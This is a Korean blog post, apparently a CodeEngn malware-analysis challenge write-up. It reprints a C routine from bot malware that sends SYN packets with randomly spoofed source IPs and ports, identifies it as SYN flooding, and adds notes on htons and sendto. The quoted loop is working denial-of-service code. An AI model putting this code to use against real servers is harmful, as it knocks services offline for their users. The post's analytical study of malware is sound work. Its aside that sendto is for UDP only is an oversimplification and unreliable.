addr_in.sin_family=AF_INET; //인터넷 주소 체계
addr_in.sin_port=htons(TargetPort); //16비트 포트 번호
addr_in.sin_addr.s_addr=TargetIP;//32비트 ip주소
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384);
tcpHeader.th_urp=0;
tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0;
tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
tcpHeader.th_sport=htons((rand()%1001)+1000);
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR)
return false;
if((GetTickCount()-lTimerCount)/1000>len)
break;
if(bRandPort)
{ TargetPort=brandom(1000, 10000); } //포트를 랜덤(1000~10000)설정
szSpoofIP[0]=(char)brandom(0, 255);
szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255);
szSpoofIP[3]=(char)brandom(0, 255); //ip를 임의로 설정.
Sleep(delay); //대기
}
xClose(sock);
핵심 부분은 루프문.
sendto()함수를 이용해서 패킷을 전송하고, 포트번호와 source IP를 랜덤으로 바꿔주면서 계속 돌린다.
소켓 통신을 사용하고 있다.
sendto()함수로 SYN패킷을 보내고 서버 측 상태를 SYN received 상태로 만든다.
이후 서버로부터 SYN+ACK패킷을 받고, ACK패킷을 전송하는 과정이 없다.
계속해서 포트번호와 IP를 바꿔주면서 SYN 패킷만 전송하고 있음.
=> SYN Flooding 기법임.
3-way 핸드셰이크 과정이 성립하려면 해당 루프문 안에
sr1()함수 등을 이용해 SYN+ACK 패킷을 서버로부터 전달(응답)받고,
ACK패킷을 전송하는 부분이 포함되어야 한다.
SYN Flooding 기법에 대해서는 아래에 예전에 정리했던 문서를 보면 된다.
예전에 처음 정보보안개론 책을 보면서 정리했던 내용이다. 오랜만에 보는 기법.
참고로 while문 조건은 명시되어 있지 않지만,
추측하건대 true값이 들어가서 루프문을 무한반복하는 형태로 사용되어야 할 것 같다.
계속해서 SYN 패킷만을 보내 서버 측이 마비될 수 있도록..
[추가적으로 정리한 부분]
htons()함수
: Host 시스템에서 네트워크로 short형 데이터를 보낼 때, 바이트 오더를 바꿔주는 함수. Host TO Network Short의 약자인듯.
네트워크를 사용할 때 데이터 전송방식은 리틀엔디안이 아니라 빅엔디안을 이용하기 때문에, CPU에서 사용하는 리틀엔디안을 htons()함수를 이용해 바꿔주면 된다.
sendto()함수, recvfrom()함수는 UDP 데이터 송수신에서 사용되는 함수.
address를 지정할 수 있기 때문에, 비연결지향 방식인 UDP 통신에서 사용된다.
*참고 : send()함수/recv()함수는 address를 지정할 수 없기 때문에 연결지향 방식인 TCP통신에서 사용된다.
'Reversing' 카테고리의 다른 글
[코드엔진] Malware Analysis 03 (0) | 2020.04.02 |
---|---|
[코드엔진] Malware Analysis 02 (0) | 2020.03.27 |
[코드엔진] Advance 09 (0) | 2020.03.23 |
[코드엔진] Advance 08 (0) | 2020.03.22 |
[코드엔진] Advance 06 (0) | 2020.03.22 |